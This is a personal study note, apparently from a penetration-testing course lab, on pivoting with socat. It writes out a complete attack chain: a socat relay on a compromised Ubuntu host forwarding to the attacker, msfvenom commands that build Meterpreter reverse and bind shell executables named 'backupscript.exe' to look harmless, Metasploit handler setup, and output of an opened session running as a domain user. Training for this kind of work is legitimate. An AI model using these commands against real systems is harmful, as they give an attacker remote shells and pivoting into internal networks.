---
title: "5. Socat usage"
date: 2024-08-24
draft: false
---

[Socat](https://linux.die.net/man/1/socat) is a bidirectional relay tool that can create pipe sockets between `2` independent network channels without needing to use SSH tunneling. It acts as a redirector that can listen on one host and port and forward that data to another IP address and port. We can start Metasploit's listener using the same command mentioned in the last section on our attack host, and we can start `socat` on the Ubuntu server.

Starting a socat listener: 
```bash
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
```
Socat will:
- listen port 8080
- forward all traffic to port 80 on attack host
- We run this from the compromised ssh host (ubuntu in the module)
With the redirector configured we create payload that will connect back to it 

in the above scenario, 10.10.14.18 refers to the ip of our attack host

We'll need to start a listener on attack host - as soon as socat receives connection from target it will redirect all the traffic to our attack hosts' listener, where we would be getting a shell.

Creating windows payload: 
```bash
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
```
Keep in mind that we must transfer this payload to the Windows host

configure multi handler 
```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 80
run
```

running the payload from windows host should return a connection 
```bash
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-03-07 11:08:10 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor
```

---

usage: 

Listening on attacking machine: 
![](/img/Pasted image 20240824220203.png)

Creating socat directional pipe
![](/img/Pasted image 20240824220247.png)

Run backup script on host3, windows: 
![](/img/Pasted image 20240824220305.png)

[[2a. Questions for dynamic portfwd and socks#rdp with ssh dynamic port forward]] used to get the msfvenom payload onto the windows host. msfvenom payload used: 

```bash
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
```
and python3 web simple http server used / scp transfer used to get the payload onto the windows host 

---

## socat redirection and bind shell

just like w/ rev shell we can use socat as a bind shell redirector
different from revshells that connect back from win -> ubuntu and directed back to attacker 
in this case, win server starts a listener and binds to a particular port. 
we can create bind shell payload for windows and execute it on windows host. at the same time, we can create socat redirector on ubuntu server which listens for incoming connections from metasploit bind handler and forward that to a bind shell payload on the windows target. 

![](/img/Pasted image 20240824220946.png|600)

Create payload: 
```bash
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443
```

Socat on ubuntu intermediary ssh host: 

```bash
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
```

Attacking host metasploit multihandler: 
```bash
msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.129.202.64:8080
```
We can see a bind handler connected to a stage request pivoted via a socat listener upon executing the payload on a Windows target.
